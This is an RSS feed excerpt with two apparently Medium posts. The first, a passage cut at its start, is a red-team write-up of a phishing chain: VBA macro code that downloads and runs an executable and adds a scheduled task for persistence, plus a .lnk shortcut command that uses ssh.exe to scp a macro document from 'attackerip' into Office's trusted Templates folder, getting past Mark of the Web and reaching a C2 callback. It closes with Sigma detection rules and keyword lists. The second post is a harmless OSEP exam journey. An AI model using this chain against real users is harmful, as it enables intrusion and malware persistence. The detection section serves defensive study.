file<br>    Ret = URLDownloadToFile(0, FileURL, DestinationFile, 0, 0)<br>    <br>    If Ret &lt;&gt; 0 Then<br>        MsgBox &quot;Unable to download the file.&quot;<br>        Exit Sub<br>    End If</pre><p>Create a batch file, execute it to extract the ZIP folder.</p><pre>    &#39; Create the batch script to unzip the file<br>    Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)<br>    Set fileStream = fso.CreateTextFile(batchFile, True)<br><br>    fileStream.WriteLine &quot;@echo off&quot;<br>    fileStream.WriteLine &quot;cd &quot; &amp; Environ$(&quot;TEMP&quot;)<br>    fileStream.WriteLine &quot;tar -xf &quot;&quot;&quot; &amp; zipFile &amp; &quot;&quot;&quot; -C &quot;&quot;&quot; &amp; extractPath &amp; &quot;&quot;&quot;&quot;<br>    fileStream.Close<br> &#39; Execute the batch script<br>    ShellExecute 0, &quot;open&quot;, batchFile, vbNullString, vbNullString, 1</pre><p>Once files are extracted, create the scheduled task that will run when the user logs on and run every minute after it.</p><pre> &#39; Connect to the Task Service<br>    Set service = CreateObject(&quot;Schedule.Service&quot;)<br>    Call CoSetProxyBlanket(service, 10, 0, 0, 3, 3, 0, 0)<br>    service.Connect<br><br>    &#39; Get the root task folder<br>    Set rootFolder = service.GetFolder(&quot;\&quot;)<br>    <br>    &#39; Create a new task definition<br>    Set taskDefinition = service.NewTask(0)<br>    <br>    &#39; Set task properties<br>    taskDefinition.RegistrationInfo.Description = &quot;Runs the downloaded file&quot;<br>    taskDefinition.Settings.Enabled = True<br>    taskDefinition.Settings.AllowDemandStart = True<br>    <br>    &#39; Set task principal (who runs the task)<br>    Set principal = taskDefinition.principal<br>    principal.LogonType = TASK_LOGON_INTERACTIVE_TOKEN<br><br>    &#39; Define the action for the task (run the downloaded file)<br>    Set actions = taskDefinition.actions<br>    Set action = actions.Create(0) &#39; The type is TASK_ACTION_EXEC<br>    action.Path = DestinationFile<br> &#39; Set a trigger to execute the task every minute<br>    Set triggers = taskDefinition.triggers<br>    Set trigger = triggers.Create(2) &#39; Use TASK_TRIGGER_DAILY</pre><p>To create a Schedule Task it uses the Windows Task Scheduler service instead of using “schtasks” command directly. It first connects to the Task Scheduler using <strong>CreateObject(&quot;Schedule.Service&quot;)</strong> and sets the security context with <strong>CoSetProxyBlanket</strong>. It then defines the task&#39;s properties, including the action to run the downloaded file and the trigger to execute it periodically. Finally, the script registers this task in the Task Scheduler&#39;s root folder, automating the process of running the downloaded file at specified interval.By default, tasks created with the TASK_LOGON_INTERACTIVE_TOKEN logon type will only run when the user is logged in</p><p>I didn’t obfuscate the VBA code macro (reverse strings, random strings, divide the code, stomping, etc.) and kept it simple at low-level libraries interaction with Windows OS and it still bypasses the modern AI XDR. Further, obfuscation can be done if needed.</p><h3><strong>Here comes the main question -How to deliver this Macro and get it executed?</strong></h3><p>A recent article by Octoberfest7 (Alex) provided a new way to abuse shortcut files using SSH: <a href="https://redsiege.com/blog/2024/04/sshishing-abusing-shortcut-files-and-the-windows-ssh-client-for-initial-access/">https://redsiege.com/blog/2024/04/sshishing-abusing-shortcut-files-and-the-windows-ssh-client-for-initial-access/</a> .This method opened new opportunities to use this technique in different ways. We’ll cover this in detail in our next article.</p><p>How to deliver the Macro file to bypass Office and Windows macro restrictions for files downloaded from the internet? To understand this, we first need to examine how the Mark of the Web (MOTW) works and what the trusted locations for Office are.</p><p><strong>Understanding MOTW:<br></strong>MOTW (Mark of the Web) is a security feature in Windows that indicates a file originated from the internet. When a file is downloaded from the web, Windows adds a special identifier, called Zone.Identifier, to its metadata. This attribute helps applications like Microsoft Office and web browsers determine if extra security precautions should be applied, such as blocking active content like macros or scripts unless explicitly enabled by the user. This mechanism aims to protect users from potentially malicious files by flagging them as coming from an untrusted source.</p><p>When a Word document is downloaded from the internet, it shows the MOTW. If users click “Enable Macro” in the document, they receive a security risk message, and the code does not get executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*JBlzDkeUeSucu46ZLLQ3Xg.png" /></figure><p><strong>Trusted Locations — Do we need to enable macros every time we open the file?</strong></p><p><strong>No.</strong></p><p>In Microsoft Office, “Trusted Locations” are folders designated as safe for opening files without security checks, such as macro or active content warnings. Documents saved in these locations are exempt from the macro security settings, meaning <strong>macros will run without user intervention</strong>. This allows macros to execute automatically when a document is placed in a Trusted Location, bypassing the usual security prompts regardless of the global macro settings.</p><p>Several folders are designated as default Trusted Locations in an installation of Office. These locations vary based on the applications. For detailed information on Trusted Locations for Excel, you can refer to the- <a href="https://learn.microsoft.com/en-us/deployoffice/security/trusted-locations">https://learn.microsoft.com/en-us/deployoffice/security/trusted-locations</a></p><p><strong>For Excel</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*NmBXjkeLX6E0STlu4oP-1A.png" /></figure><p><strong>For MS-Word</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*tRxmtuBPZidaiwWtIc7qOg.png" /></figure><h3>Bypassing MOTW and Delivering the Macro</h3><p>To bypass the MOTW, the easiest way is to download the file using Windows utilities inside the Windows environment. I’ll use the new SSH technique explained by Octoberfest7 (Alex) in the RedSiege blog.</p><h4>Creating and Delivering the Shortcut</h4><p>With these steps in mind, let’s merge these techniques. First, create a simple Notepad file (or use another method to make it more sophisticated) and then create a shortcut for it.</p><ol><li>Create the Shortcut:</li></ol><ul><li>Right-click on the shortcut file and change the target with the below code. Ensure the path length remains under 260 characters.</li></ul><pre>C:\Windows\System32\OpenSSH\ssh.exe -o &quot;PermitLocalCommand=yes&quot; -o &quot;LocalCommand=scp backdoor@attackerip:task.doc %AppData%\Microsoft\Templates\task.doc\. &amp;&amp; %AppData%\Microsoft\Templates\task.doc&quot; backdoor@attackerip <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Dg_ufzaipITAQf2DWoH7Xg.png" /></figure><p>2. This shortcut execution transfers the file to the <em>%AppData%\Microsoft\Templates\</em> folder using SCP with the LocalCommand option, which helps to bypass the MOTW.</p><p>3. Next, command will open the Word document fetched from cloud hosted machine and execute it.</p><p>The complete attack pattern is shown in below image. Attack pattern is similar to the Emotet malware distribution. Lets take a look at the full scenario:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*HZpvZO--zXuEYexwepgZMA.png" /></figure><ol><li>Attacker sent the zip file as a phishing attempt. (thano.zip)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*msfI4tM-l-5vy1b-1lripQ.png" /></figure><p>2. Zip folder contained the Invoice.lnk file. and a user click and execute the shortcut (lnk) file. The file will show the MOTW warning before user click on open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*3iVl5Af8mf9Ozt4jEovFiA.png" /></figure><p>3. Invoice.lnk file executed the command we places in target property of the file.</p><p>4. Using ssh.exe, it runs the local command that will download the MS-Word macro file to the trusted location of Office in Windows. In my case, it is <em>C:\Users&lt;user&gt;\AppData\Roaming\Microsoft\Templates.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*iXW5luIr4cC5b0yg0R4ZnQ.png" /></figure><p>5. Using the same command under SSH will execute/open the doc file delivered to the trusted location folder.</p><p>6. As the location was trusted, the document does not need user interaction to execute the macro.</p><p>7. On macro execution, it will download the .exe payload to the temp directory and create a scheduled task that runs when the user logs on and, after logon, runs every minute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*KBTD4C9nOG0_5wW7Q2DKGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*W_EX3xhbYd_zT2HkmuKfNg.png" /></figure><p>8. We can see the task “Action” that will start the program that was downloaded to the Temp folder of the user who executed the shortcut file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*Q1AD_6UyoN4ct_3khl0xIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*09_8LZCxuPeH7cjjYp3PfA.png" /></figure><p>9. Once executed, we can see the command prompt window opened and not getting detected by the XDR system.</p><p>10. Got the callback in my Mythic server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VritW6wKGdmUorfQDtjbNQ.png" /></figure><h3>Detection</h3><p><strong>For SSH</strong></p><p>There are Sigma rules created by Alex in his blog to detect the SSH command execution with a shortcut file. The rule triggers when certain conditions are met:</p><p>Parent Process Condition:</p><p>The parent process image must be C:\Windows\System32\OpenSSH\sshd.exe.</p><p>Command Line Conditions:</p><ol><li>The command line ends with \ssh.exe.</li><li>The command line contains ProxyCommand=.</li><li>Alternatively, the command line contains both PermitLocalCommand and LocalCommand.</li></ol><p>By monitoring these patterns, the rule helps in detecting potentially malicious activities where ssh.exe is misused to proxy commands or execute local commands, which could indicate an attempt to bypass security controls.</p><p><strong>For Macro:</strong></p><p>We can create a similar Sigma rule to detect suspicious activities related to the execution of macros in Microsoft Office applications. The goal is to identify patterns that indicate the misuse of macros for malicious purposes, such as creating scheduled tasks or downloading files from the internet.</p><p>Not a master in this field but trying to use my OSDA certification skills :-)</p><pre>title: Suspicious Macro Activity in Office Applications<br>status: experimental<br>description: Detect suspicious activities related to the execution of macros in Microsoft Office applications<br>detection:<br>    selection_office:<br>        Image|endswith:<br>            - &#39;\winword.exe&#39;<br>            - &#39;\excel.exe&#39;<br>            - &#39;\powerpnt.exe&#39;<br>    selection_macro:<br>        CommandLine|contains:<br>            - &#39;vbs&#39;<br>            - &#39;macro&#39;<br>            - &#39;powershell&#39;<br>            - &#39;schtasks&#39;<br>            - &#39;cmd.exe /c&#39;<br>            - &#39;shell&#39;<br>            - &#39;tar&#39;<br>            - &#39;kernel32&#39;<br>            - &#39;ole32&#39;<br>            - &#39;urlmon&#39;<br>            - &#39;shell32&#39;<br>    selection_network:<br>        CommandLine|contains:<br>            - &#39;urlmon&#39;<br>            - &#39;winhttp&#39;<br>            - &#39;downloadfile&#39;<br>            - &#39;http&#39;<br>            - &#39;https&#39;<br>            - &#39;scp&#39;<br>            - &#39;ssh.exe&#39;<br>    selection_scheduled_task:<br>        CommandLine|contains:<br>            - &#39;schtasks&#39;<br>            - &#39;Schedule.Service&#39;<br>    condition: selection_office and (selection_macro or selection_network or selection_scheduled_task)<br>falsepositives:<br>    - Legitimate use of macros for automation in trusted documents<br>    - Network activities by legitimate Office plugins<br>    - Legitimate administrative use of scheduled tasks<br>level: high</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56b7b4473a29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Journey to Passing OSEP: A Tale of Persistence and Triumph]]></title>
            <link>https://gshergill.medium.com/my-journey-to-passing-osep-a-tale-of-persistence-and-triumph-0efa48ffc8ec?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0efa48ffc8ec</guid>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Tue, 07 Nov 2023 15:37:44 GMT</pubDate>
            <atom:updated>2023-11-07T15:37:44.691Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/672/0*4GVuEGnJ5UsSk9mD.png" /></figure><p>Passing the Offensive Security Experienced Penetration Tester (OSEP) exam on July 1st was a feat that truly tested my resolve and dedication. After a rigorous six-month preparation period, where I immersed myself in the Learn One course offered by OffSec, I approached my first attempt with confidence. However, the reality check was harsh; I managed to secure only 2 flags. The initial setback was disheartening, but it didn’t deter me. I buckled down for another 2–3 months, revisiting the comprehensive course material, delving deeper into the labs, and completing all the ‘extra mile’ challenges.</p><p>My preparation was not that intense initially. I dedicated roughly 10–15 hours each week, totaling nearly a year of consistent study. Despite this, my second attempt was a near-miss. With the Learn One program at its end, I captured 8 flags but ran a grueling marathon with minimal sleep — just 10 hours over the 48-hour exam duration — and took multiple short breaks to maintain focus. The pressure to succeed was immense; I couldn’t just walk away after investing so much time and effort.</p><p>Undeterred, I purchased another exam voucher. With a renewed sense of purpose, I meticulously reviewed all the materials, compiled code locally, and ensured I understood the exam’s themes intimately. By my third attempt, I was not just a candidate but a seasoned warrior familiar with the battleground. This time the exam felt different; the challenges seemed to flow, and within the first 24 hours, I had captured 8 flags.</p><p>However, complacency wasn’t an option — the 9th flag eluded me for a full 8 hours. But once overcome, the remaining challenges fell into place, and I secured 12 flags in total. With 8 hours to spare, I turned my attention to the critical task of reporting — a component of the OSEP that should never be underestimated. I painstakingly verified each screenshot and documented every required step, keenly aware that any oversight could cost me my success on this third and crucial attempt.</p><p>The importance of clear, concise reporting cannot be overstated. It is vital to capture every detail, narrate the attack steps accurately, and articulate the findings in good, understandable English. For those preparing for the OSEP, I recommend studying existing reviews online. They offer a treasure trove of insights but don’t just read them — analyze and build upon them to create a personalized study plan that suits your learning style and schedule.</p><p>The OSEP journey is as challenging as it is rewarding, and persistence is key. To those on the path to this certification, remember that each attempt is a learning experience paving the way to your ultimate goal. Keep pushing forward, and success will be yours.</p><h3>PEN-300 Advice</h3><ol><li><strong>Depth of Course Material</strong>: The PEN-300 course is known for its in-depth and advanced content, focusing on high-level penetration testing techniques. It goes beyond the basics and challenges students with real-world scenarios. Make sure to complete both text and videos. This would also give you the opportunity to learn or understand the basics of C# and you might ending up creating new projects for your GitHub repository.</li><li><strong>Lab Environment</strong>: The hands-on lab environment is a critical component of the learning experience. It is designed to simulate a realistic network in which students can practice and refine their penetration testing skills. Complete all the labs and you’ll understand at the end that how important is to complete those labs not just for the exam but also for the real world environment testing.</li><li><strong>Extra Miles:</strong> The course includes “Extra Miles” challenges that encourage students to go beyond the standard lab exercises. Completing these provides a deeper understanding of the material and provides you many different ways to evade the not only Windows Defender but you can evade different EDR as well.</li><li><strong>Courses: </strong>In terms of Active Directory, I strongly advise you to do CRTP and CRTO before OSEP. Both covers AD extensively and different techniques, to complete the labs. These courses will provides excellent value as well!</li><li><strong>Reporting:</strong> One of the most emphasized aspects of the course is the importance of reporting. Not only do students need to successfully exploit systems, but they also need to document their findings clearly and professionally. So take good notes and as many screenshots as you can while compromising the machines. Take and write down all the steps before you move to the next part and make sure to find all the flags in a compromised machines.</li><li><strong>Time Management:</strong> The course and subsequent exam test one’s ability to manage time effectively. Successful students often create a schedule or strategy to ensure they cover all necessary topics and lab exercises before attempting the exam.</li><li><strong>Community Support:</strong> Leveraging the community, such as forums and study groups, is often mentioned as an invaluable resource. Engaging with peers can provide insights and help clarify difficult concepts. The Off Sec community is fantastic, and they have a Discord server as well as a Student Forum. The Discord community is strong, and Off Sec staff can help you if you run across any issues throughout the challenges or labs.</li><li><strong>Persistence and Resilience: </strong>The challenging nature of both the labs and the exam demands an attitude that not only accepts difficulties but also sees them as valuable learning opportunities. It’s about cultivating resilience, the kind that propels you forward through obstacles and transforms setbacks into stepping stones for success. So keep grinding the material and labs. You’ll learn a lot and feel like a different person (penetration tester) after you complete all the material and passed the exam.</li></ol><p><strong>Conclusion</strong></p><p>In PEN-300 material, you’ll find that some parts may not be the most exciting, while others can be quite engaging — I think that’s just part of the journey with any certification you pursue. Nonetheless, this has been my top pick among all the Off Sec certifications I’ve tackled, and I would wholeheartedly recommend it to anyone considering it!</p><p><strong>Backdoor</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0efa48ffc8ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>